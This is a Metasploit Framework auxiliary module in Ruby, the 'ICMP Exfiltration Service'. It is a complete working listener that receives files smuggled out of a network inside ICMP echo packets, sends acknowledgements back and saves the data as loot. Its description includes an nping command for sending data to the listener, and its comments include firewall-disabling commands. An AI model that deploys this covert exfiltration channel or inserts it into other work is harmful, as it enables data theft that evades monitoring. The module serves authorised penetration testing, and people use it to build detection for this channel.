## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Capture include Msf::Auxiliary::Report def initialize super( 'Name' => 'ICMP Exfiltration Service', 'Description' => %q{ This module is designed to provide a server-side component to receive and store files exfiltrated over ICMP echo request packets. To use this module you will need to send an initial ICMP echo request containing the specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or a random filename can be assisnged). All data received from this source will automatically be added to the receive buffer until an ICMP echo request containing a specific end trigger (defaults to '^EOL') is received. Suggested Client: Data can be sent from the client using a variety of tools. One such example is nping (included with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1 }, 'Author' => 'Chris John Riley', 'License' => MSF_LICENSE, 'References' => [ # packetfu ['URL','https://github.com/todb/packetfu'], # nping ['URL', 'http://nmap.org/book/nping-man.html'], # simple icmp ['URL', 'http://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/'] ] ) register_options([ OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']), OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']), OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']), OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']), OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']), OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']), OptString.new('INTERFACE', [false, 'The name of the interface']), OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true]) ], self.class) register_advanced_options([ OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]), OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]), OptAddress.new('LOCALIP', [false, 'The IP address of the local interface']) ], self.class) deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT') end def run begin # check Pcaprub is up to date if not netifaces_implemented? print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available") netifaces = false else netifaces = true end @interface = datastore['INTERFACE'] || Pcap.lookupdev # this is needed on windows cause we send interface directly to Pcap functions @interface = get_interface_guid(@interface) @iface_ip = datastore['LOCALIP'] @iface_ip ||= Pcap.lookupaddrs(@interface)[0] if netifaces raise "Interface IP is not defined and can not be guessed" unless @iface_ip # start with blank slate @record = false @record_data = '' if datastore['PROMISC'] print_status("Warning: Promiscuous mode enabled. This may cause issues!") end # start icmp listener process - loop icmp_listener ensure store_file print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})") end end def icmp_listener # start icmp listener print_status("ICMP Listener started on #{@interface} (#{@iface_ip}). Monitoring for trigger packet containing #{datastore['START_TRIGGER']}") if datastore['FNAME_IN_PACKET'] print_status("Filename expected in initial packet, directly following trigger (e.g. #{datastore['START_TRIGGER']}filename.ext)") end cap = PacketFu::Capture.new( :iface => @interface, :start => true, :filter => datastore['BPF_FILTER'], :promisc => datastore['PROMISC'] ) loop { cap.stream.each do | pkt | packet = PacketFu::Packet.parse(pkt) data = packet.payload[4..-1] if packet.is_icmp? and data =~ /#{datastore['START_TRIGGER']}/ # start of new file detected vprint_status("#{Time.now}: ICMP (type %d code %d) SRC:%s DST:%s" % [packet.icmp_type, packet.icmp_code, packet.ip_saddr, packet.ip_daddr]) # detect and warn if system is responding to ICMP echo requests # suggested fixes: # -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # -(Windows) netsh firewall set icmpsetting 8 disable # -(Windows) netsh firewall set opmode mode = ENABLE if packet.icmp_type == 0 and packet.icmp_code == 0 and packet.ip_saddr == @iface_ip print_error "Dectected ICMP echo response. You must either disable ICMP handling" print_error "or try a more restrictive BPF filter. You might try:" print_error " set BPF_FILTER icmp and not src #{datastore['LOCALIP']}" return end if @record print_error("New file started without saving old data") store_file end # begin recording stream @record = true @record_host = packet.ip_saddr @record_data = '' # set filename from data in incoming icmp packet if datastore['FNAME_IN_PACKET'] @filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip end # if filename not sent in packet, or FNAME_IN_PACKET false set time based name if not datastore['FNAME_IN_PACKET'] or @filename.empty? @filename = "icmp_exfil_" + ::Time.now.to_i.to_s # set filename based on current time end print_good("Beginning capture of \"#{@filename}\" data") # create response packet icmp_pkt icmp_response, contents = icmp_packet(packet, datastore['RESP_START']) if not icmp_response raise RuntimeError ,"Could not build ICMP response" else # send response packet icmp_pkt send_icmp(icmp_response, contents) end elsif packet.is_icmp? and @record and @record_host == packet.ip_saddr # check for EOF marker, if not continue recording data if data =~ /#{datastore['END_TRIGGER']}/ # end of file marker found print_status("#{@record_data.length} bytes of data recevied in total") print_good("End of File received. Saving \"#{@filename}\" to loot") store_file # create response packet icmp_pkt icmp_response, contents = icmp_packet(packet, datastore['RESP_END']) if not icmp_response raise RuntimeError , "Could not build ICMP response" else # send response packet icmp_pkt send_icmp(icmp_response, contents) end # turn off recording and clear status @record = false @record_host = '' @record_data = '' else # add data to recording and continue @record_data << data.to_s() vprint_status("Received #{data.length} bytes of data from #{packet.ip_saddr}") # create response packet icmp_pkt icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT']) if not icmp_response raise RuntimeError , "Could not build ICMP response" else # send response packet icmp_pkt send_icmp(icmp_response, contents) end end end end } end def icmp_packet(packet, contents) # create icmp response @src_ip = packet.ip_daddr src_mac = packet.eth_daddr @dst_ip = packet.ip_saddr dst_mac = packet.eth_saddr icmp_id = packet.payload[0,2] icmp_seq = packet.payload[2,2] # create payload with matching id/seq resp_payload = icmp_id + icmp_seq + contents icmp_pkt = PacketFu::ICMPPacket.new(:flavor => datastore['CLOAK'].downcase) icmp_pkt.eth_saddr = src_mac icmp_pkt.eth_daddr = dst_mac icmp_pkt.icmp_type = 0 icmp_pkt.icmp_code = 0 icmp_pkt.payload = resp_payload icmp_pkt.ip_saddr = @src_ip icmp_pkt.ip_daddr = @dst_ip icmp_pkt.recalc icmp_response = icmp_pkt return icmp_response, contents end def send_icmp(icmp_response, contents) # send icmp response on selected interface icmp_response.to_w(iface = @interface) vprint_good("Response sent to #{@dst_ip} containing response trigger : \"#{contents}\"") end def store_file # store the file in loot if data is present if @record_data and not @record_data.empty? loot = store_loot( "icmp_exfil", "text/xml", @src_ip, @record_data, @filename, "ICMP Exfiltrated Data" ) print_good("Incoming file \"#{@filename}\" saved to loot") print_good("Loot filename: #{loot}") end end end